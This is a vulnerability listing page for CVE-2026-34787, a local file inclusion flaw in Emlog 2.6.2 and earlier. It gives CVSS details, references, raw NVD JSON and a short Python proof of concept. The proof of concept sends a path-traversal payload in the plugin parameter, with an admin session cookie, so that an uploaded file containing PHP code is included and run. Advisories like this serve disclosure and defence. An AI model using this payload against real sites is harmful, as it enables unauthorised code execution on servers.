CVE-2026-34787

Description

Emlog is an open source website building system. In versions 2.6.2 and prior, a Local File Inclusion (LFI) vulnerability exists in admin/plugin.php at line 80. The $plugin parameter from the GET request is directly used in a require_once path without proper sanitization. If the CSRF token check can be bypassed (see potential bypass conditions), an attacker can include arbitrary PHP files from the server filesystem, leading to code execution. At time of publication, there are no publicly available patches.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:emlog:emlog:*:*:*:*:pro:*:*:* - VULNERABLE

Emlog <= 2.6.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_lfi(target_url, session_cookie):
    # Target endpoint
    url = f"{target_url}/admin/plugin.php"
    
    # Malicious plugin parameter to include a sensitive file
    # Assuming an attacker uploaded a malicious image with PHP code or targeting a log file
    payload = {
        "plugin": "../../../var/www/html/uploads/malicious.jpg"
    }
    
    # Headers with authenticated session (High Privilege required)
    cookies = {
        "PHPSESSID": session_cookie
    }
    
    try:
        # Send GET request
        response = requests.get(url, params=payload, cookies=cookies, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Check if the code was executed in the response.")
            print(response.text[:500])
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except Exception as e:
        print(f"[-] An error occurred: {e}")

# Usage example
# exploit_lfi("http://target.com", "valid_session_id")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34787
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34787
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34787/
[4] VulDB https://vuldb.com/cve/CVE-2026-34787
[5] https://github.com/emlog/emlog/security/advisories/GHSA-7mvq-qj5x-5phm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34787", "sourceIdentifier": "[email protected]", "published": "2026-04-03T23:17:04.757", "lastModified": "2026-04-13T17:32:52.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emlog is an open source website building system. In versions 2.6.2 and prior, a Local File Inclusion (LFI) vulnerability exists in admin/plugin.php at line 80. The $plugin parameter from the GET request is directly used in a require_once path without proper sanitization. If the CSRF token check can be bypassed (see potential bypass conditions), an attacker can include arbitrary PHP files from the server filesystem, leading to code execution. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:*:*:*:*:pro:*:*:*", "versionEndIncluding": "2.6.2", "matchCriteriaId": "87AE63DC-4F2B-44E3-8865-B6166722A5D6"}]}]}], "references": [{"url": "https://github.com/emlog/emlog/security/advisories/GHSA-7mvq-qj5x-5phm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}